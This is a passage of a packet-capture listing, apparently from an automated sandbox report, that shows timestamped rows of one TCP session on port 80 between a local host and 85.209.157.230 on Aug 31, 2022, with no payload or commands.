Aug 31, 2022 14:28:35.623524904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.623541117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.623553038 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.623621941 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.624177933 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.624202013 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.624224901 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.624247074 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.624269009 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.624270916 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.624294996 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.624311924 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.624320984 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.624360085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.624375105 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.624424934 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.624972105 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625008106 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625200987 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625246048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625283957 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.625324011 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625359058 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625394106 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625394106 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.625427961 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.625431061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625454903 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625489950 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625498056 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.625551939 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625632048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625667095 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625674009 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.625703096 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625711918 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.625739098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625777006 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625809908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625822067 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.625835896 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625849962 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.625920057 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.625996113 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626035929 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626044989 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.626071930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626108885 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.626108885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626147032 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626183987 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626223087 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.626231909 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626259089 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626296043 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626301050 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.626331091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626365900 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626370907 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.626401901 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626435995 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626441956 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.626471996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626507044 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626526117 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.626543999 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626570940 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626611948 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.626679897 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.626992941 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627031088 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627068996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627091885 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.627104998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627125025 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.627141953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627177000 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627211094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627218962 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.627234936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627279043 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.627317905 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627547979 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627587080 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627608061 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.627623081 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627659082 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627661943 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.627693892 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627727985 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627763033 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627799034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627810955 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.627824068 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627827883 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.627861023 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627893925 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627928972 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.627929926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627965927 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.627974987 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.628000021 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.628035069 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.628070116 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.628106117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.628113985 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.628124952 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.628130913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.628509045 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.628562927 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.628583908 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.628597021 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.628638983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.628673077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.628690004 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.628709078 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.628712893 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.628745079 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.628789902 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.628828049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.628854990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.628890038 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.628933907 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.628978968 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.628982067 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629019022 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629092932 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.629105091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629142046 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629178047 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629189014 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.629218102 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.629241943 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629268885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629380941 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629421949 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629471064 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629482031 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.629522085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629565954 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629570961 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.629606009 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629611015 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.629642963 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629676104 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629684925 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.629700899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629735947 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629769087 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629806042 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629812002 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.629839897 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629877090 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629883051 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.629914999 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629942894 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.629950047 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.629986048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630012035 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630028963 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.630304098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630341053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630374908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630410910 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.630412102 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630429029 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.630461931 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630497932 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630510092 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.630532980 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630568027 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630593061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630630970 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.630702019 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630738974 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630750895 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.630775928 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630814075 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630824089 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.630850077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630887032 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630907059 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.630923033 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630959034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.630981922 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631004095 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.631043911 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631079912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631088972 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.631117105 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631153107 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631161928 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.631187916 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631222010 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631223917 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.631258011 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631293058 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631320000 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631339073 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.631431103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631469965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631504059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631525040 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.631540060 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.631541967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631555080 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.631577969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631612062 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631618977 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.631647110 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631681919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631705046 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631721020 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.631851912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631887913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631896019 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.631921053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631957054 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631990910 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.631998062 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.632059097 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632096052 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632112980 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.632131100 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632145882 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632164955 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.632165909 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632188082 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632196903 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.632206917 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632227898 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632249117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632262945 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.632268906 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632283926 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.632289886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632308960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632323980 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632344007 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.632397890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632445097 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632466078 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632486105 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632487059 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.632505894 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632508993 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.632527113 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632541895 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.632585049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632606030 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632626057 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632631063 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.632639885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.632653952 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.633085012 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633167028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633188009 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633208990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633213043 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.633229971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633249998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633254051 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.633280993 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.633291960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633312941 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633332968 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633346081 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633348942 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.633397102 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633418083 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633436918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633459091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633480072 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633500099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633512974 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.633519888 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.633523941 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.633533955 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633554935 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633574963 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633589983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633603096 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.633621931 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.633943081 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633965015 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.633985996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634005070 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634010077 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.634026051 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634052038 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.634087086 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634108067 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634134054 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.634191990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634212971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634227037 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634247065 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634252071 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.634293079 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.634320974 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634341955 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634361982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634382010 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634402037 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.634402990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634426117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634427071 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.634448051 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634466887 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.634485960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634500027 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634607077 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.634816885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634836912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634875059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634890079 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.634923935 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.635036945 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635060072 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635081053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635101080 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635113955 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.635122061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635130882 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.635142088 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635155916 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.635169983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635204077 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.635215998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635240078 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635258913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.635292053 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.635399103 CEST	80	49726	85.209.157.230	192.168.2.4
